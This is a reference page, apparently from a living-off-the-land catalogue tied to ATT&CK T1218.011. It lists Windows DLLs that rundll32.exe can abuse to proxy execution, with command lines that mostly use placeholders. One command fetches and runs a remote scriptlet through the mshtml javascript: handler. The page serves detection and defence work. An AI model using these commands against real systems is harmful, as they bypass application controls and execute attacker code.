T1218.011: Rundll32
Adversaries may abuse rundll32.exe to proxy execution of malicious code through dynamic link libraries and script protocols.
Living-off-the-Land Matrix for T1218.011
Across 13 verified binariesrundll32.exe
The Rundll32 program loads and runs 32-bit and 64-bit Dynamic Link Libraries (DLLs). Threat actors use it to execute exported functions from arbitrary DLLs, run scriptlets, or execute code via MSHTML protocol handlers.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")Advpack.dll
Utility for installing software and drivers with rundll32.exe
rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,Desk.cpl
Desktop Settings Control Panel
rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}Ieadvpack.dll
INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.
rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},DefaultInstall_SingleUser,1,Ieframe.dll
Internet Browser DLL for translating HTML code.
rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}Mshtml.dll
Microsoft HTML Viewer
rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}Pcwutl.dll
Microsoft HTML Viewer
rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}Setupapi.dll
Windows Setup Application Programming Interface
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}Shdocvw.dll
Shell Doc Object and Control Library.
rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}Shell32.dll
Windows Shell Common Dll
rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}Syssetup.dll
Windows NT System Setup
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}Url.dll
Internet Shortcut Shell Extension DLL.
rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}Zipfldr.dll
Compressed Folder library
rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}